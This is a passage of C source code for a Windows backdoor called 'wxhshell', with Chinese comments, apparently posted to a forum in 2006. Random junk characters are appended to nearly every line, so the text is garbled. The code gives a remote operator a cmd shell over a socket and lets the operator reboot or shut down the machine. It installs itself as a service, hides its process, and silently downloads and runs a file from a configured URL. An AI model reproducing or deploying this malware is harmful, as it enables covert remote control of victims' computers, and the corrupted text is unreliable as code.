  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Op] L#<&T  
  } I{Pny/d`  
  else { v` 9^?Xw)  
J)6A,:wt  
    switch(cmd[0]) { "m^whHj  
  [kc%+j<g  
  // 帮助 Y,1sNg  
  case '?': { }Ip"j]h  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); "zJGYBen  
    break; F12tOSfu*  
  } xW84g08_,  
  // 安装 TF %8pIg>Z  
  case 'i': { :Uu Py|>  
    if(Install()) B Z:H$v  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); rV LUT  
    else .f'iod-   
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); S30@|@fTz  
    break; H*U\P2C!)  
    } !X 3/2KRP7  
  // 卸载 @uc N|r}=R  
  case 'r': { bI^zwK,@4  
    if(Uninstall()) ?Z}n0E `  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); j\w>}Pc  
    else yK"OZ2Mv  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >-0b@ +j  
    break; I+ipTeB^  
    } QiU!;!s  
  // 显示 wxhshell 所在路径 o6e6Jw  
  case 'p': { Q>gU(  
    char svExeFile[MAX_PATH]; B"O5P>  
    strcpy(svExeFile,"\n\r"); B!jINOg  
      strcat(svExeFile,ExeFile); [ e4)"A"  
        send(wsh,svExeFile,strlen(svExeFile),0); !x9j~D'C`  
    break; wEK@B&DV  
    } ^'8T9N@U  
  // 重启 @Yua%n6]#D  
  case 'b': { :j/PtNT@  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); C7=Q!UK`\  
    if(Boot(REBOOT)) M4a- +T"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); K7&A^$`  
    else { xN t  
    closesocket(wsh); tMaJ; 4  
    ExitThread(0); lu @#)  
    } H~~I6D{8  
    break; Ty]/F+{  
    } UV>^[/^O  
  // 关机 #&\hgsw/T  
  case 'd': { tK&.0)*=  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Z-m,~Hh  
    if(Boot(SHUTDOWN)) SM:SxhrGt  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [woR9azC  
    else { Xq&x<td  
    closesocket(wsh); zE V J  
    ExitThread(0); 8uME6]m i  
    } sV7dgvVd  
    break; lj"L Q(^  
    } %g(h%V9f  
  // 获取shell Y^gK^ ?K  
  case 's': { C]UBu-]#S  
    CmdShell(wsh); x q93>Hs  
    closesocket(wsh); t" 1'B!4  
    ExitThread(0); ak50]KYo  
    break; `+b>@2D_  
  } lv}U-vK  
  // 退出 "r0z( j  
  case 'x': { 1QRE-ndc  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ;% *e}w0  
    CloseIt(wsh); 8|[\Tp:;  
    break; 78tWzO  
    } :V2j'R,  
  // 离开 <p(&8P  
  case 'q': { N$ZThZqqv  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); D%LM"p  
    closesocket(wsh); x+5Q}ux'G  
    WSACleanup(); 0_bt*.w I+  
    exit(1); 5|1&s3/f  
    break; X|L8s$>  
        } ok X\z[X  
  } #&">x7?5  
  } ~c!zTe  
my")/e  
  // 提示信息  $J mL)r  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 8QYG"CA6/  
} #;juZ*I  
  } =!xeki]|9  
~nb%w?vv  
  return; (7 Mn%Jp  
} .Gl&K|/{j  
:5?ti  
// shell模块句柄 tBG :ECUL  
int CmdShell(SOCKET sock) TMG:fg&E~  
{ C5Q|3d  
STARTUPINFO si; #I@]8U#,":  
ZeroMemory(&si,sizeof(si)); L&ws[8-  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; X.s? =6}g  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; (?R  
PROCESS_INFORMATION ProcessInfo; "}K/ b  
char cmdline[]="cmd"; BmrP]3W?  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); }Iub{30mp  
  return 0; 5S7`gN.  
} 1 7{]QuqNF  
^g[\.Q  
// 自身启动模式 ^iubqtT]  
int StartFromService(void) %R;cXs4r  
{ ]T^m>v)X  
typedef struct d^ !3bv*h  
{ H'I|tPs  
  DWORD ExitStatus; CV4V_G  
  DWORD PebBaseAddress;  -/  
  DWORD AffinityMask; 3HbHl?-UNU  
  DWORD BasePriority; Xkl^!,  
  ULONG UniqueProcessId; 1:7>Em<s  
  ULONG InheritedFromUniqueProcessId; D4'? V Iz  
}   PROCESS_BASIC_INFORMATION; Bx&` $lW  
0 P/A  
PROCNTQSIP NtQueryInformationProcess; $?Aez/  
w0SzK-&  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; YO!,m<b^u  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; `P/*x[?  
U`6QD}c"s  
  HANDLE             hProcess; i*_KHK  
  PROCESS_BASIC_INFORMATION pbi; p{Pa(Z]G  
V@>?lv(\  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); NJUYeim;  
  if(NULL == hInst ) return 0; -f9M*7O<gf  
K?[pCF2C  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); [tMf KO  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Tc:W=\<  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); - |[_j$g  
CG9X3%xO%  
  if (!NtQueryInformationProcess) return 0; * {4cc  
<O5;w  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); RMC|(Q<  
  if(!hProcess) return 0; `N(.10~  
xxkP4,(p  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; *`}_e)(k  
CI{]o&Tf  
  CloseHandle(hProcess); ,zXL8T  
#EHBS~^  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); qoZ*sV  
if(hProcess==NULL) return 0; ZX'{o9+w5  
h| UT/:  
HMODULE hMod; oTI*mGR1Z  
char procName[255]; TP{a*ke^5,  
unsigned long cbNeeded; sxThz7#i)  
|~ \K:[T&  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); +crAkb}i  
`zzX2R Je  
  CloseHandle(hProcess); K+v 250J$-  
x(]s#D!)  
if(strstr(procName,"services")) return 1; // 以服务启动 ~;eWQwD  
iLmU|jdE  
  return 0; // 注册表启动 jLQjv  
} e_1mO 5z  
1 9 k$)m  
// 主模块 u/.s rK!K  
int StartWxhshell(LPSTR lpCmdLine) qh7o;x~,  
{ c6c^9*,V  
  SOCKET wsl; e982IP  
BOOL val=TRUE; nrt0[E-&~  
  int port=0; l42m81x"  
  struct sockaddr_in door; e<9nt [  
o B6" D  
  if(wscfg.ws_autoins) Install(); /#:RYM'Tu  
H&03>.b  
port=atoi(lpCmdLine); |Y'$+[TE  
K6Gc)jp:b  
if(port<=0) port=wscfg.ws_port; 3~cOQ%#]4  
A^K,[8VX  
  WSADATA data; M%B[>pONb7  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; _23sIUN c3  
]Rj"/(X,  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Q|ik\  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); UkqLLzL  
  door.sin_family = AF_INET; 2#(7,o}Y5  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); B8_l+dXO  
  door.sin_port = htons(port); ;~1r{kXxA"  
]UgA z  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ~JZ Lfw  
closesocket(wsl); /yykOvUO  
return 1; ZH0f32K  
} N!h>fE`  
N"T8 Pt  
  if(listen(wsl,2) == INVALID_SOCKET) { Q?"[zX1  
closesocket(wsl); O]Kb~jkd  
return 1; }TF<C !]  
} 6U&Uyd)  
  Wxhshell(wsl); 25ayYO%PTc  
  WSACleanup(); cw5YjQ8 9  
jSG jv>  
return 0; 3P6'*pZ  
x.^vWka(  
} KbUX(9+B  
:?UIyN?  
// 以NT服务方式启动 zHdp'J"  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) D46| )-  
{ d|o"QYX  
DWORD   status = 0; I2W2B3D` c  
  DWORD   specificError = 0xfffffff; Vks,3$  
v PGuEfz  
  serviceStatus.dwServiceType     = SERVICE_WIN32; K[kmfXKu  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; GDcV1$NA  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; )_Oc=/c|f  
  serviceStatus.dwWin32ExitCode     = 0; D/:)rj14b  
  serviceStatus.dwServiceSpecificExitCode = 0; }cPV_^{  
  serviceStatus.dwCheckPoint       = 0; {``}TsN  
  serviceStatus.dwWaitHint       = 0; ?+|tPjg $  
U3V<ITZI8t  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 6)3eB{$;  
  if (hServiceStatusHandle==0) return; b?Jm)  
-$0S#/)Z  
status = GetLastError(); (mD]}{>  
  if (status!=NO_ERROR) SW; b E  
{ xw-q)u  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; &*y ve}su  
    serviceStatus.dwCheckPoint       = 0; }fCM_w  
    serviceStatus.dwWaitHint       = 0; 5 rWRE-  
    serviceStatus.dwWin32ExitCode     = status; )m'_>-`^:  
    serviceStatus.dwServiceSpecificExitCode = specificError; P\AH9#XL  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ZF t^q /pw  
    return; ..T (9]h  
  } |X.z|wKT6  
q#a21~S<  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ,9pi9\S  
  serviceStatus.dwCheckPoint       = 0; )KuvG:+9W  
  serviceStatus.dwWaitHint       = 0; ?oJ~3K g  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 5&kR1Bp#-  
} R:xmcUq} (  
 vXvV5Oq  
// 处理NT服务事件,比如:启动、停止 .Ep3~9TBW  
VOID WINAPI NTServiceHandler(DWORD fdwControl) lC4By,1*  
{ FG H>;H@  
switch(fdwControl) Jzdc'3dq  
{ :3t])mL#   
case SERVICE_CONTROL_STOP: h0eo:Ahi  
  serviceStatus.dwWin32ExitCode = 0; m2! 7M%]GC  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; TkBBHg;  
  serviceStatus.dwCheckPoint   = 0; "EHc&,B`  
  serviceStatus.dwWaitHint     = 0; kb:C>Y8!sC  
  { bn`zI~WS  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); RnrM rOh  
  } j<KC$[Kt  
  return; wtUG2 (  
case SERVICE_CONTROL_PAUSE: OL'=a|g|c  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; L%0lX$2&\  
  break; 3a qmK.`H  
case SERVICE_CONTROL_CONTINUE: &f yFUg  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; LF~#4)B  
  break; sZH7 EK  
case SERVICE_CONTROL_INTERROGATE: "qsNySI  
  break; {_~G+rqY  
}; GWVdNYpmr  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus);  d!t@A  
} (FaT{W{  
nKO&ffb'<  
// 标准应用程序主函数 } 8P}L@q  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) #TgJ d  
{ +B m+Pj>  
@ 7?_Yw  
// 获取操作系统版本 )1vojp 4Za  
OsIsNt=GetOsVer(); TUaK:*x*  
GetModuleFileName(NULL,ExeFile,MAX_PATH); }$)<k  
*o[%?$8T  
  // 从命令行安装 duS #&w  
  if(strpbrk(lpCmdLine,"iI")) Install(); E5(Y*m!  
%p9bl ,x  
  // 下载执行文件 nsT|,O  
if(wscfg.ws_downexe) { #$w#"Nr9k  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ?lK!OyCkc  
  WinExec(wscfg.ws_filenam,SW_HIDE); h9I )<_}R  
} sb @hGS  
3CE8+PnT  
if(!OsIsNt) { g5Dx9d{  
// 如果时win9x,隐藏进程并且设置为注册表启动 {K:Utdu($q  
HideProc(); $dP)8_Z2  
StartWxhshell(lpCmdLine); xu =B  
} _@N)]!\MgP  
else dM UDLr-  
  if(StartFromService()) `X='g96C1  
  // 以服务方式启动 /;rN/ot2o  
  StartServiceCtrlDispatcher(DispatchTable); \ V>%yl{8  
else 2eU[*x  
  // 普通方式启动 f}X8|GlBo  
  StartWxhshell(lpCmdLine); L:M9|/  
.A\\v6@  
return 0; xp&!Cl>C3\  
}
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只看该作者 1 发表于: 2006-10-10
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